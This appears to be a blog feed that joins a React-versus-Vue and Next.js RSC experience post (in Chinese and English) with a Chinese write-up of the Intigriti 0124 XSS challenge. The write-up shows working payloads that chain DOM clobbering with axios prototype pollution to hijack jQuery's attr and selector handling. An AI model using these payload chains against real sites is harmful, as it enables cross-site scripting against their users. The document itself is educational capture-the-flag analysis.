然而,最近因為工作上的需求,所以開始寫 Vue 了,而剛好也有讀者來問我從 React 跳到 Vue 的心得,因此這邊就簡單寫一篇來分享。
雖然說要講從 React 跳到 Vue 的感想,但先讓我偷渡一下對於 Next.js 13.4,也就是 app router 搭配 RSC(React Server Components)的感想。照理來說應該要開另外一篇的,但篇幅不夠長,因此就偷渡在這裡了。
如果沒興趣的話,可以直接跳到下一段。
在目前的公司,React 跟 Vue 都會碰到,而且版本都滿新的,前者是 Next.js 14(剛用的時候是 13.4,第一個有 RSC 的版本),後者則是 Vue3。
因為都用了 Next.js 的最新版本,所以直上 RSC,想來體驗這個 React 未來的重點技術之一,先講結論:「不能只有我受苦,趕快來用」。
(話說如果還不清楚 RSC 是什麼,或是容易跟 SSR 搞混的話,建議可以先看這兩篇文章:RSC From Scratch. Part 1: Server Components 以及 Understanding React Server Components)
根據 RSC 的設計原則,如果運用得當的話,你的 bundle size 會變小,網站的性能也可能會變好,但我自己用過之後,認為它帶來的效益遠低於引進這項技術所增加的複雜度。
不過先強調一下,因為我用的是 Next.js 的 RSC,不代表所有的 RSC 都是同個樣子,所以這整段講的都會是「Next.js 的 RSC 的使用心得」,而不是「RSC 的使用心得」。
先來講缺點好了。
首先,光是要正確理解 client component 跟 server component 就需要一些時間,可能是嘗試的時間太早,甚至連 Next.js 的官方文件都寫得不是很清楚,需要自己一直不斷嘗試才能試出來到底是什麼樣子(例如說之前前端社群有一篇貼文就在問這個,我當初也有類似的疑惑)。
再來的話,未來在寫 component 的時候都會需要考慮到這個是 client 還是 server 還是都可以,會增加心智負擔。
還有就是許多 server component 可能會直接打 API 去拿資料,因此 client 在拿到資料時,就已經是 render 好的結果了。雖然乍看之下不錯(畢竟是 RSC 的賣點),但這其實會讓前端變得很難 debug。
以前除了第一次的 SSR 以外,我只要打開 DevTools,就可以看到前端發了哪些請求,API 的 response 是什麼,但換成 server component 以後我看不到了,我只能看 server log 才能知道發生了什麼事情。
如果出事的話,我從前端沒辦法區分出是我的 Next.js server 出錯,還是我呼叫的 API 那邊出錯,這點在開發者體驗上扣分許多。
但以上這些其實都還好,最雷的是 Next.js 13.4 的推出有點太趕,要嘛很多功能都沒有做好,要嘛是文件沒有寫清楚。
舉例來說,Next.js 有一個叫做 middleware 的東西,很直覺就會理解成是一個在處理 request 之前會執行到的檔案。但文件沒有寫清楚的是,這個 middleware 跟你其他的程式碼,是跑在不同的執行環境的(現在我記得已經有補上了,Next.js 的改版也滿勤快的就是了)。
也就是說在 middleware 裡面寫一個 global.a = 1
,你到 Next.js 的 server component 裡面 log 出 global.a
,答案會是 undefined。
再者,middleware 並不是跑在完整的 Node.js 環境上面,而是跑在一個叫做 Edge Runtime 的地方,有許多的功能跟 API 都不支援。
之所以這樣搞,是因為 Next.js 預設了這個 middleware 就是要跑在 edge 上,就算我們根本不會用到 edge 這個功能也一樣,而且目前依然沒辦法改變這點,更多討論可以看這一串:Switchable Runtime for Middleware (Allow Node.js APIs in Middleware) #46722。
順帶一提,我目前完全不支持把 Next.js 當一個全端框架來用,也就是前後端專案全都掛在 Next.js 上,理由很簡單,那就是它本來就不適合這樣用。Next.js 它所提供的 server 目前更像是 BFF(Back-end For Front-end),可以當作前端跟其他後端的橋樑,但沒辦法自己實作出完整的功能(除非你的專案很小,功能很少)。
如果真的把後端功能搬到 Next.js 上,那注定是場悲劇。
講完了缺點,來講講優點,那大概就是 bundle size 真的有小一點。例如說 i18n 好了,以往沒有特別做什麼調整的話,大部分的 client 都會下載到「超出目前使用範圍以外」的字串,例如說所有的中文字串,或至少是當前 namespace 底下的字串。
但用了 RSC 以後,由於 server component 的 i18n 在 server 直接做掉了,所以這部分就不需要下載任何額外的字串。
除此之外,其實我沒體驗到太大的好處(而且因為公司專案的一些特性,在搭配上同時有 client 跟 server component 需要考慮,現有的 i18n 套件每一個都有問題,只好自己簡單做了一套)
總之呢,我個人是不太推薦使用 app router 的,帶來的效益遠低於導入的成本,還會把很多事情弄得更複雜。我是從去年七八月就開始用 Next.js 13.4 了,那時候的狀況更糟,文件跟程式碼的行為配對不上的事情也發生過。
如果有人跟我說 Next.js 13.4 以後的 app router 超好用,那我會覺得要嘛是用得不夠多,要嘛是專案很小,所以沒有體驗到壞處,更何況我都還沒講那一堆預設開啟而且有些關不掉的快取策略。
以上就是偷渡的 Next.js RSC 心得,因為從去年七八月就開始用了,其實剛用的那兩三個月最有感,真的很多點可以吐槽,但現在已經有點忘了,我也害怕想起來。
話說這篇會盡量寫的是 React 與 Vue 本身的心得,而不是特定的函式庫或框架。
舉例來說,如果我原本在 React 都是用 Redux,轉到 Vue 之後用 Pinia,然後寫說:「哇,寫 Vue 真的太棒了啦,Pinia 好簡潔好好用,比 React 好太多了」,這個論述是有問題的,因為在 React 圈其實也有類似的 zustand 可以用。
所以這一句在比較的主體並不是 Vue 與 React,而是 Redux 與 Pinia,變成了特定函式庫的比較,這是這一篇想要避開的論述。
不過為了補充脈絡,還是先把這些函式庫與框架稍微講一下好了,React 的話目前我的起手式大概就是 Next.js 搭配 Zustand 搭配 tailwind,而 Vue 的話就是 Nuxt 搭配 Pinia 搭配 tailwind。
以使用體驗來說,我覺得兩個是差不多的(如果 Next.js 是 page router 的話),所以這部分就不多提了。
再來,使用的感想會與使用經驗多寡以及應用的專案有差,目前手邊大約有 4 個內部的中小型專案都用到 Vue,我寫 Vue 大概寫了四個月左右,其實也沒有很長,另外因為是內部工具,所以都沒有開啟 SSR,直接走純 client side render。
講完了這些前提以後,接著就來講講使用的感想,先來講我自己比較喜歡 Vue 的地方。
先講一下狀態管理的部分。
首先是 Vue 的雙向綁定真的滿香的,v-model 真的好用。以往在 React 都是 value + onChange 都寫,現在用 v-model 一行就搞定了。
而差異最大的我覺得在於 useEffect。在 React 中需要大量用到 useEffect 去處理一些事情,然後要考慮到 dependency 以及各種狀況,一不小心就可能寫壞。
但是在 Vue 中就沒有這種困擾,省了很多心智負擔,你要寫壞其實滿難的。
而這個特性的差異,也讓我對於專案的技術選擇多了一個思考的維度,那就是「下限」。以前我在思考技術時,比較容易思考到「一般的使用狀況」,像是我寫 React 寫久之後,其實不會特別覺得 useEffect 有什麼,寫得也算是順手。
但同時我也承認 useEffect 是一個需要經驗才能寫好的東西,有一定的學習門檻,這也表示它的下限可以很低。寫得爛的工程師,可以寫一堆 useEffect 然後 dependency 亂寫卻維持一個恐怖平衡,東西剛好可以動。若干年後如果我去接手,我會不知道從何改起,因為只要一往裡面加東西,就是整個壞掉,而且還是多個 effect 一起壞掉。
但我自己覺得 Vue 就不同了,你寫得再怎麼爛也就那樣了。同樣都是一個技術能力很差的人來寫,他所寫的 Vue 會比 React 好維護,我是這麼認為的,這就是我所說的「下限」。
那如果現在有個新的團隊,裡面都是前端超級新手,他們寫的專案你過半年之後要維護,已經可以預期到維護性可能會較差的情況下,選擇下限比較高的 Vue 似乎會比較好,至少你改得動。
而另外一個也是從團隊出發的角度是「上手難度」,如果團隊內的人手比較不足,前後端要互相支援的話,那 Vue 也是個會比 React 更好的選擇,因為更好入門,所以就算不熟悉前端也能夠快速上手。
總之呢,從狀態管理來看的話,我覺得 Vue 更直覺也更好上手一點,而 React 的話確實是比較複雜。
接著來談 render 的方式,React 就是 JSX 一路到底,整個 component 就是一個 function,裡面是 JSX。而 Vue 的話則是把 template 跟 functional 分開,我覺得兩者各有其優劣。
對於一些需要 early return 的狀況,例如說如果是載入中就只顯示 loading,React 我覺得會更加直覺一點,就 component 看個前幾行就知道了。而 Vue 的話則是 setup 的地方看完還要再回去看 template 才能確定。
除此之外,v-if 與 v-for 那些其實滿好用的,而且 template 看起來也比較整齊,在結構沒有相差很多的情況下可讀性比較好。
優點講完了,來講一些缺點。
第一個缺點是在 props 的部分我覺得 React 更加直覺,就是 function 的參數而已,而 Vue 的話則是要額外定義,而且在傳入的時候提倡的是 kebab-case,原本叫做 testProps
要改成 test-props
,我自己不是很喜歡這樣,因為兩者不一致的話會導致搜尋有點困難。
雖然說我看文件也是可以用 testProps
,但官方文件提倡的作法依然是 test-props
。
第二個缺點是一個檔案只能有一個 component,我覺得這個滿不彈性的,會容易出現一大堆小的檔案。雖然以前也有人在 React 中提倡這種做法,一個檔案一個 component,但我認為那是不好的,因為有些 component 如果不能被其他元件重用,那就應該放在同個檔案,比較好找也比較好維護。
不過這點似乎也可以解決,我有查到相關的方法:
這樣看下來,好像我上面提的兩個缺點其實都有方法可以解決,純粹是我之前對 Vue 不夠熟所以不知道而已,之後再來試試看。
以上就是我對使用 Next.js 13.4 app router + RSC 的心得,以及從寫 React 轉到寫 Vue 的心得。
總之呢,感想大概就是 Vue 確實簡單好上手,但還需要再觀察一陣子,畢竟 code 寫得越多才會越有感覺,像我這種只寫了三四個月的,通常還在甜蜜期,只體驗到好處而非壞處。當寫的程式碼愈多,專案也愈複雜的時候,應該就會遇到一些之前沒碰過的問題。
或許要再寫個一兩年才會有更多心得吧?不知道那時候的前端會長成什麼樣子。
]]>However, recently due to work requirements, I started working with Vue. Coincidentally, some readers asked me about my insights on transitioning from React to Vue, so I decided to write a brief post to share my thoughts.
Although I am supposed to talk about my thoughts on transitioning from React to Vue, let me first share my thoughts on Next.js 13.4, specifically the combination of app router with RSC (React Server Components). Technically, this should be a separate post, but due to space constraints, I’ll include it here.
If you’re not interested, feel free to skip to the next section.
In my current company, we work with both React and Vue, using the latest versions - Next.js 14 (we started with 13.4, the first version with RSC) and Vue3.
Since we are using the latest version of Next.js, I decided to explore RSC to experience one of React’s future key technologies. In conclusion: “Don’t let me suffer alone, please come and use it.”
(If you’re not familiar with what RSC is or tend to confuse it with SSR, I recommend reading these two articles: RSC From Scratch. Part 1: Server Components and Understanding React Server Components)
According to RSC’s design principles, if used correctly, your bundle size may decrease, and your website’s performance may improve. However, after using it myself, I believe that the benefits it brings are far outweighed by the complexity introduced by adopting this technology.
But first, let me emphasize that my experience is based on using Next.js’s RSC, and it may not be the same for all RSC implementations. Therefore, this section will focus on “My Experience with Next.js’s RSC” rather than “My Experience with RSC.”
Let’s start with the drawbacks.
Firstly, understanding the difference between client components and server components can be time-consuming. Perhaps I started experimenting too early, and even the official Next.js documentation was not very clear, requiring continuous trial and error to understand the concepts (for example, there was a post in the frontend community asking about this, and I had similar doubts at first).
Furthermore, in the future, when writing components, you will need to consider whether they are for the client, server, or both, adding to the mental burden.
Additionally, many server components may directly call APIs to fetch data, resulting in the client receiving pre-rendered results. While this may seem beneficial at first (after all, it’s one of RSC’s selling points), it actually makes frontend debugging very challenging.
Previously, apart from the initial SSR, I could open DevTools and see which requests the frontend made and what the API responses were. However, with server components, I can no longer do that; I can only see server logs to understand what happened.
If something goes wrong, I cannot easily determine whether it’s an issue with my Next.js server or the API I called, significantly impacting the developer experience.
However, these issues are manageable. The most frustrating aspect is that the release of Next.js 13.4 was rushed, resulting in many features not being properly implemented or documented.
For example, Next.js has something called middleware, which intuitively seems like a file that runs before processing a request. However, the documentation did not clearly state that this middleware runs in a different execution environment from your other code (I remember they have since updated it, Next.js tends to be quite diligent with updates).
In other words, if you write global.a = 1
in the middleware and log global.a
in a Next.js server component, the answer will be undefined.
Furthermore, middleware does not run in a full Node.js environment but in a place called Edge Runtime, which lacks support for many functionalities and APIs.
The reason for this is that Next.js defaults to running this middleware on the edge, even if we don’t actually use the edge functionality. Currently, there is no way to change this, and for more discussion, you can refer to this thread: Switchable Runtime for Middleware (Allow Node.js APIs in Middleware) #46722.
By the way, I currently do not support using Next.js as a full-stack framework, where both front-end and back-end projects are built on Next.js. The reason is simple - it is not suitable for this use case. The server provided by Next.js currently resembles more of a BFF (Back-end For Front-end), acting as a bridge between the front-end and other back-end services, but it cannot implement complete functionality on its own (unless your project is very small with minimal features).
If you try to move back-end functionality to Next.js, it will inevitably end in tragedy.
Having discussed the drawbacks, let’s talk about the advantages. One of the main benefits is that the bundle size is indeed smaller. For example, with i18n, without any adjustments, most clients would download strings that are “out of scope,” such as all Chinese strings or at least the strings under the current namespace.
However, with RSC, since the server component handles i18n directly on the server, there is no need to download any additional strings in this regard.
Apart from this, I haven’t experienced significant benefits (and due to some specific features of the company’s projects, having to consider both client and server components simultaneously, the existing i18n packages all have issues, so I had to create a simple one myself).
In conclusion, I personally do not recommend using the app router as the benefits it brings are far outweighed by the implementation costs, and it only complicates many things. I have been using Next.js 13.4 since around July or August last year, and the situation was even worse back then, with mismatches between the documentation and code behavior occurring.
If someone tells me that the app router in Next.js 13.4 and later is excellent, I would think either they haven’t used it enough or their project is very small, so they haven’t experienced the downsides. Not to mention all the default caching strategies that are enabled and some cannot be turned off.
The above is a sneak peek into my experience with Next.js RSC, as I have been using it since around July or August last year. Initially, the first two to three months of use were the most impactful, with many points to criticize, but now I have somewhat forgotten, and I am afraid to remember.
This post will attempt to focus on personal insights into React and Vue themselves, rather than specific libraries or frameworks.
For example, if I used Redux in React and then switched to Pinia in Vue, and wrote, “Wow, writing Vue is really great, Pinia is so clean and easy to use, much better than React,” this argument would be flawed because there are similar options like Zustand in the React ecosystem.
Therefore, the comparison should not be between Vue and React but between Redux and Pinia, turning it into a comparison of specific libraries, which is what this post aims to avoid.
However, for context, let’s briefly mention these libraries and frameworks. Currently, my starting point in React is typically Next.js paired with Zustand and Tailwind, while in Vue, it’s Nuxt paired with Pinia and Tailwind.
In terms of user experience, I find both to be similar (if Next.js is used as a page router), so I won’t dwell on this aspect.
Furthermore, user experience may vary based on experience level and the nature of the projects. I have approximately four internal medium-sized projects using Vue, and I have been writing Vue for about four months, which isn’t very long. Additionally, since these are internal tools, SSR is not enabled, and they rely solely on client-side rendering.
With these premises in mind, let’s discuss my preferences for Vue.
Starting with state management:
Firstly, Vue’s two-way binding is really convenient, and v-model is very useful. In React, I used to write value + onChange, but now with v-model, it’s done in one line.
The biggest difference, in my opinion, lies in the useEffect hook. In React, you often need to use useEffect extensively to handle various scenarios and dependencies, which can lead to mistakes if not careful.
However, in Vue, this isn’t a concern, saving a lot of mental burden, and it’s quite challenging to misuse it.
This difference in features has also added a new dimension to my technical decision-making for projects, which is the “lower limit.” Previously, when considering technologies, I tended to focus on “typical use cases.” For instance, after writing React for a while, I didn’t find useEffect particularly challenging, and it felt natural.
However, I also admit that useEffect
is something that requires experience to write well, with a certain learning curve. This also means that its lower limit can be quite low. A poorly written engineer can write a bunch of useEffect
with messy dependencies but still maintain a terrifying balance, making things work just right. If I were to take over after several years, I wouldn’t know where to start making changes because as long as you keep adding things inside, everything breaks down, especially when multiple effects break down together.
But I personally feel that Vue is different. No matter how poorly you write it, it stays that way. Even if a person with very poor technical skills writes it, the Vue they write will be easier to maintain than React, in my opinion. This is what I mean by “lower limit.”
Now, if there’s a new team where everyone is super new to frontend development, and you have to maintain the project they write after half a year, you can already anticipate that the maintainability might be poor. Choosing Vue, which has a higher lower limit, might be better in this case, at least you can make changes more easily.
Another perspective to consider is the “learning curve.” If the team is short-handed and needs support between frontend and backend, then Vue might be a better choice than React because it’s easier to get started with, so even if you’re not familiar with frontend, you can quickly get up to speed.
In summary, in terms of state management, I think Vue is more intuitive and easier to get started with, while React is indeed more complex.
Moving on to the rendering approach, React uses JSX all the way, where the entire component is a function containing JSX. On the other hand, Vue separates the template from the functional part, and I believe both approaches have their pros and cons.
For situations where early return is needed, such as displaying loading when it’s still loading, I think React is more intuitive, you can tell from the first few lines of the component. With Vue, you need to check the setup part and then go back to the template to confirm.
Additionally, v-if
and v-for
in Vue are quite handy, and the template looks neater, providing better readability when the structure is not significantly different.
Now that we’ve covered the advantages, let’s talk about some drawbacks.
The first drawback I see is regarding props. I find React more intuitive in handling props as they are just function parameters, while in Vue, you need to define them separately, and when passing them, kebab-case is encouraged. For example, renaming testProps
to test-props
. I personally don’t like this inconsistency because it can make searching a bit difficult.
Although I can still use testProps
based on the documentation, the recommended practice is still test-props
.
The second drawback is that only one component can exist in a file in Vue, which I find quite inflexible and can lead to a lot of small files. While some have advocated for this approach in React as well, having one component per file, I believe that’s not ideal because if some components cannot be reused by others, they should be in the same file for better organization and maintenance.
However, it seems this issue can be resolved. I found some related methods:
Looking at these, it seems that the two drawbacks I mentioned earlier actually have solutions available. It was just that I wasn’t familiar enough with Vue before, so I didn’t know about them. I’ll try them out later.
The above is my experience using Next.js 13.4 app router + RSC, and transitioning from writing React to writing Vue.
In conclusion, Vue is indeed simple and easy to get started with, but I need to observe for a while longer. After all, the more code you write, the more you’ll get a feel for it. Someone like me who has only been writing for three to four months is usually still in the honeymoon phase, experiencing only the benefits rather than the drawbacks. As you write more code and the projects become more complex, you’re likely to encounter some problems you haven’t faced before.
Perhaps I need to write for another year or two to gain more insights? I wonder what frontend development will look like by then.
]]>題目的連結在這邊,沒有看過的話可以先去看看:https://challenge-0124.intigriti.io/
題目的程式碼滿簡短的,先來看前端的部分,基本上就是一個 HTML 而已:
<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Intigriti XSS Challenge</title> <link rel="stylesheet" href="/static/css/main.css"></head><body><h2>Hey <%- name %>,<br>Which repo are you looking for?</h2><form id="search"> <input name="q" value="<%= search %>"></form><hr><img src="/static/img/loading.gif" class="loading" width="50px" hidden><br><img class="avatar" width="35%"><p id="description"></p><iframe id="homepage" hidden></iframe><script src="/static/js/axios.min.js"></script><script src="/static/js/jquery-3.7.1.min.js"></script><script> function search(name) { $("img.loading").attr("hidden", false); axios.post("/search", $("#search").get(0), { "headers": { "Content-Type": "application/json" } }).then((d) => { $("img.loading").attr("hidden", true); const repo = d.data; if (!repo.owner) { alert("Not found!"); return; }; $("img.avatar").attr("src", repo.owner.avatar_url); $("#description").text(repo.description); if (repo.homepage && repo.homepage.startsWith("https://")) { $("#homepage").attr({ "src": repo.homepage, "hidden": false }); }; }); }; window.onload = () => { const params = new URLSearchParams(location.search); if (params.get("search")) search(); $("#search").submit((e) => { e.preventDefault(); search(); }); };</script></body></html>
其中這一段 <h2>Hey <%- name %>
是與後端唯一有關的部分,會在後端使用 DOMPurify 來進行 sanitization:
app.get("/", (req, res) => { if (!req.query.name) { res.render("index"); return; } res.render("search", { name: DOMPurify.sanitize(req.query.name, { SANITIZE_DOM: false }), search: req.query.search });});
值得注意的是這邊的 SANITIZE_DOM: false
,這個設置會停止對於 DOM Clobbering 的防護,因此可以猜測這題與 DOM Clobbering 有關,才會刻意把這個設置關掉。
而整題最主要的邏輯都在 search 函式裡面了:
function search(name) { $("img.loading").attr("hidden", false); axios.post("/search", $("#search").get(0), { "headers": { "Content-Type": "application/json" } }).then((d) => { $("img.loading").attr("hidden", true); const repo = d.data; if (!repo.owner) { alert("Not found!"); return; }; $("img.avatar").attr("src", repo.owner.avatar_url); $("#description").text(repo.description); if (repo.homepage && repo.homepage.startsWith("https://")) { $("#homepage").attr({ "src": repo.homepage, "hidden": false }); }; });};
其實上面這一段,並沒有看出什麼有漏洞的地方,因此看完這段之後,我就先往用到的 library 去找,這題用到的是 jQuery 3.7.1 以及 axios 1.6.2,雖然檔案名稱沒寫,但是從檔案內容可以看得出來。
查了一下可以發現 1.6.2 並非最新版本,而且在 1.6.4 中修復了一個 prototype pollution 的漏洞:https://github.com/axios/axios/commit/3c0c11cade045c4412c242b5727308cff9897a0e
commit 裡面更是直接附上了 exploit,非常貼心:
it('should resist prototype pollution CVE', () => { const formData = new FormData(); formData.append('foo[0]', '1'); formData.append('foo[1]', '2'); formData.append('__proto__.x', 'hack'); formData.append('constructor.prototype.y', 'value'); expect(formDataToJSON(formData)).toEqual({ foo: ['1', '2'], constructor: { prototype: { y: 'value' } } }); expect({}.x).toEqual(undefined); expect({}.y).toEqual(undefined);});
從 commit 可以看出 axios 中有一個叫做 formDataToJSON
的函式,會把 FormData 轉為 JSON,而轉換的程式碼中存有漏洞,可以透過 name 進行 prototype pollution。
接著再回來看題目的程式碼,有一段是:axios.post("/search", $("#search").get(0)
,因此只要能掌握 #search
,就能掌握這邊傳入的參數,從 axios 的原始碼中可以看出這邊傳入的 form,最後會被取出 FormData,並且傳給 formDataToJSON
(這邊引用的部分程式碼看不出來,但只要 trace 一下之後不難發現這件事)。
因此,我們可以用 name 注入一個 <form>
來進行 prototype pollution,下一步就要尋找 gadget 了,通常在找 gadget 的時候,會先從物件下手。
而程式碼中有個部分非常可疑:
$("#homepage").attr({ "src": repo.homepage, "hidden": false});
這裡傳入的參數是個物件,如果 .attr
函式沒有特別做檢查,很有可能會被污染的參數影響,而事實上也是這樣,在 jQuery 中,attr 的實作如下:
jQuery.fn.extend( { attr: function( name, value ) { return access( this, jQuery.attr, name, value, arguments.length > 1 ); },}
export function access( elems, fn, key, value, chainable, emptyGet, raw ) { var i = 0, len = elems.length, bulk = key == null; // Sets many values if ( toType( key ) === "object" ) { chainable = true; for ( i in key ) { access( elems, fn, i, key[ i ], true, emptyGet, raw ); } }}
如果傳入的 key 是個 object,會用 in 來取出每一個 key 設定。由於 in 會取出原型鏈上的屬性,因此可以透過污染 onload
,讓 jQuery 去設定 onload 屬性。
payload 如下:
<form id=search> <input name=__proto__.onload value=alert(document.domain)> <input name=q value=react-d3><</form>
看起來沒什麼問題,但嘗試過後,會發現出現了錯誤:
Uncaught (in promise) TypeError: Cannot use 'in' operator to search for 'set' in alert(document.domain)
經過一陣 debug 之後,會發現這段錯誤是源自於設置 attr 時的這一段:
// Attribute hooks are determined by the lowercase version// Grab necessary hook if one is definedif ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) { hooks = jQuery.attrHooks[ name.toLowerCase() ] || ( jQuery.expr.match.bool.test( name ) ? boolHook : undefined );}if ( value !== undefined ) { if ( value === null ) { jQuery.removeAttr( elem, name ); return; } if ( hooks && "set" in hooks && ( ret = hooks.set( elem, value, name ) ) !== undefined ) { return ret; } elem.setAttribute( name, value + "" ); return value;}
會先執行到 hooks = jQuery.attrHooks[ name.toLowerCase() ]
,由於我們污染了 onload
屬性,所以 jQuery.attrHooks['onload']
會是字串,因此 hooks 也是個字串。
接著執行到 "set" in hooks
,由於字串並沒有 in
可以用,因此拋出了先前看到的錯誤。
既然知道問題在哪了,那解決方式就簡單了,把 onload
改成 Onload
就好,因為如此一來 name.toLowerCase()
就會是 onload
,而 jQuery.attrHooks['onload']
並不存在。
做到這裡,題目就解開了,難度比我想像中的容易很多,大約花個 3-4 個小時差不多。接著,我看到了作者的推特,意識到原來是有 unintended,難怪難度比我想得要低。
知道自己的解法是非預期之後,就開始思考起什麼才是預期解,作者有在 Discord 裡面說預期解法跟現在的非預期解法,使用到的地方完全不同,因此可以想像是把 attr({})
那一段排除,留下剩下的程式碼,就只剩這些:
function search(name) { $("img.loading").attr("hidden", false); axios.post("/search", $("#search").get(0), { "headers": { "Content-Type": "application/json" } }).then((d) => { $("img.loading").attr("hidden", true); const repo = d.data; if (!repo.owner) { alert("Not found!"); return; }; $("img.avatar").attr("src", repo.owner.avatar_url); $("#description").text(repo.description); });};
剩下的程式碼中,我的直覺告訴我重點是這一行:
$("img.avatar").attr("src", repo.owner.avatar_url);
如果可以利用 prototype pollution 把 $("img.avatar")
變成 $('#homepage')
,選到那個 iframe 的話,再搭配上我們可以掌握 repo.owner.avatar_url
,就能把 iframe 的 src 設置成 javascript:alert(1)
,達成 XSS。
我覺得這個猜測非常合理,大概有九成的把握是對的,因為透過 prototype pollution 來影響 selector 這個招數應該是新的,至少我之前沒看過,而且這個很酷!也符合了作者在推特上講的:「super interesting」
因此,接下來我就花了點時間開始尋找 selector 是怎麼運作的,但這段程式碼比我想像中複雜了不少,而且牽涉到許多函式。
花了四五個小時之後,終於找到一個可以利用的地方。
首先,在執行 $()
的時候,底層是用 find 來找到對應的元素,而這邊會有一個 documentIsHTML
的檢查,如果是 true 的話,基本上就會就是利用 querySelector 之類的原生 API 去尋找,沒有操作空間。
因此我們要先想辦法讓它是 false,判斷的程式碼在這裡,只要讓 isXMLDoc
回傳 true,documentIsHTML
就會是 false:
isXMLDoc: function( elem ) { var namespace = elem && elem.namespaceURI, docElem = elem && ( elem.ownerDocument || elem ).documentElement; // Assume HTML when documentElement doesn't yet exist, such as inside // document fragments. return !rhtmlSuffix.test( namespace || docElem && docElem.nodeName || "HTML" );},
我們可以透過 DOM clobbering 去覆蓋掉 documentElement
,來讓 docElem
變成一個 <img>
,因為不是 <html>
,就可以讓檢查失效,並且讓 isXMLDoc
變成 true。
繞過了檢查以後,就暫時不會用原生的那些 API,而是執行到 select 函式,開頭會先將 selector 做 tokenize:
function tokenize( selector, parseOnly ) { var matched, match, tokens, type, soFar, groups, preFilters, cached = tokenCache[ selector + " " ]; if ( cached ) { return parseOnly ? 0 : cached.slice( 0 ); } // ...}
這邊看起來就是我們要找的地方了!
只要污染 img.avatar
,就可以控制 tokenCache
的內容,進而影響到 tokenize 的結果,直接把結果替代成我們要選的 iframe。
看來預期解法也沒這麼難嘛。
但嘗試過後,發現沒有用。
沒有用的原因不是因為 gadget 找錯,而是因為 prototype pollution 的部分。此時,就被逼得回頭研究之前偷懶只看 exploit 的 axios 漏洞。
Axios 在把 form 的名稱轉成 JSON 的 key 時,是這樣運作的:
/** * It takes a string like `foo[x][y][z]` and returns an array like `['foo', 'x', 'y', 'z'] * * @param {string} name - The name of the property to get. * * @returns An array of strings. */function parsePropPath(name) { // foo[x][y][z] // foo.x.y.z // foo-x-y-z // foo x y z return utils.matchAll(/\w+|\[(\w*)]/g, name).map(match => { return match[0] === '[]' ? '' : match[1] || match[0]; });}
會把 A-Za-z0-9_ 以外的字元都當作分隔符號,因此空白沒辦法成為屬性名稱的一部分。我在這邊花了三四個小時,沒有找到任何可以繞過的方式。
此時我知道我錯了,這題真的沒這麼簡單…
過了一天以後,繼續看這道題目,既然沒辦法用空白,那應該是有其他地方可以利用,於是就接著追蹤程式碼的運作。
繼續一直往下追的話,會追到 matcherFromTokens 這個函式,但裡面的程式碼一樣又多又複雜,於是我第一次看到的時候心裡想著:「算了吧,還是等解答好了」。
但過了一天之後重振精神,再次從頭開始看起,發現其實在進入 tokenize 之前,就有一個地方可以污染了:
function select( selector, context, results, seed ) { var i, tokens, token, type, find, compiled = typeof selector === "function" && selector, match = !seed && tokenize( ( selector = compiled.selector || selector ) );// ...}
這邊有個 selector = compiled.selector || selector
,那只要污染 selector
,我不就可以任意更改 selector 了嗎?
正當我為自己的聰明沾沾自喜時,現實馬上跑過來打了我一巴掌,污染了 selector 之後,在進入到 tokenize 時出錯了,因為裡面有一段是:
// Filtersfor ( type in filterMatchExpr ) { if ( ( match = jQuery.expr.match[ type ].exec( soFar ) ) && ( !preFilters[ type ] || ( match = preFilters[ type ]( match ) ) ) ) { matched = match.shift(); tokens.push( { value: matched, type: type, matches: match } ); soFar = soFar.slice( matched.length ); }}
因為污染了 selector,所以在執行 type in filterMatchExpr
的時候,被污染的 selector 就會被取出來,接著執行到 jQuery.expr.match[ type ].exec
,由於字串並沒有 exec 這個方法,所以就會報錯。
也就是說,不管我們污染了什麼,只要進入到 tokenize 就會出錯,所以想要把 selector 直接污染成 iframe 是辦不到的。
但沒關係,我們可以把 selector 污染成之前已經在 cache 裡面的東西,例如說 img.loading
,就可以繞過 tokenize。
但這也只是不讓程式壞掉而已,依舊沒辦法把題目解開。
又過了一兩天,看到了作者在推特上的提示,直接明確指出關鍵就在於我之前因為太複雜所以略過的 addCombinator,從提示中可以看出,我確實只差最後一步了。
因此又硬著頭皮花了半天左右,稍微 trace 了一下這部分的程式碼,最後才終於得到預期的答案。
先附上最後的 payload:
<img name=documentElement><form id="search"> <input name="__proto__.owner.avatar_url" value="javascript:alert(document.domain)"> <input name="__proto__.CLASS.a" value="1"> <input name="__proto__.TAG.a" value="1"> <input name="__proto__.dir" value="parentNode"> <input name="__proto__.selector" value="img.loading"></form>
其實最後一部分 addCombinator 那邊有點像是一半用猜的,一半是真的知道,大概就是某一個部分會用 dir
來找匹配的元素,設定成 parentNode 之後就會一直往上找,然後就會配對到整個 HTML 的元素,因此就會幫每一個 element 都加上 src,裡面當然也包含了 iframe。
但每一個函式的細節我已經忘記了,因為真的有點複雜,如果有興趣知道的話,可以直接去看原作者的 writeup(底下會附上連結)。
我很喜歡這道題目那種循序漸進的感覺,從一開始找到非預期解以為很簡單,到後來找到第一個 cache 的地方以為解開了,卻回頭發現 axios 的 prototype pollution 沒辦法搭配使用,接著找到第二個 compiled.seletor
也以為結束了,才發現其實還沒。
要一直再往下深追,追到 addCombinator,才能確定這一題是真的可以解開,能在一道題目裡面情緒起伏這麼多次,代表這個題目設計的很好。另一個我很喜歡的點是這是一道逼迫你 code review 的題目,沒看 code 的話是絕對解不開的。我很喜歡 code review,因此也很喜歡這個題目。
很佩服作者能夠繼續往深處探索,找到這個非常有趣的答案,結合了 DOM clobbering 跟 prototype pollution,修改了 jQuery selector 的指向,出了一題這麼好玩的題目!
再次推薦作者本人的 writeup,跟我經歷了差不多的過程:Intigriti January 2024 - XSS Challenge
除此之外,@joaxcar 找到的另外一個非預期解也很有趣,有興趣的可以看看:Hunting for Prototype Pollution gadgets in jQuery (intigriti 0124 challenge)
若是對最一開始的題目有興趣,也可以參考這邊:https://bugology.intigriti.io/intigriti-monthly-challenges/0124
]]>The challenge link is here, if you haven’t seen it yet, you can take a look: https://challenge-0124.intigriti.io/
The code for the challenge is quite short. Let’s start with the frontend part, which is basically just an HTML:
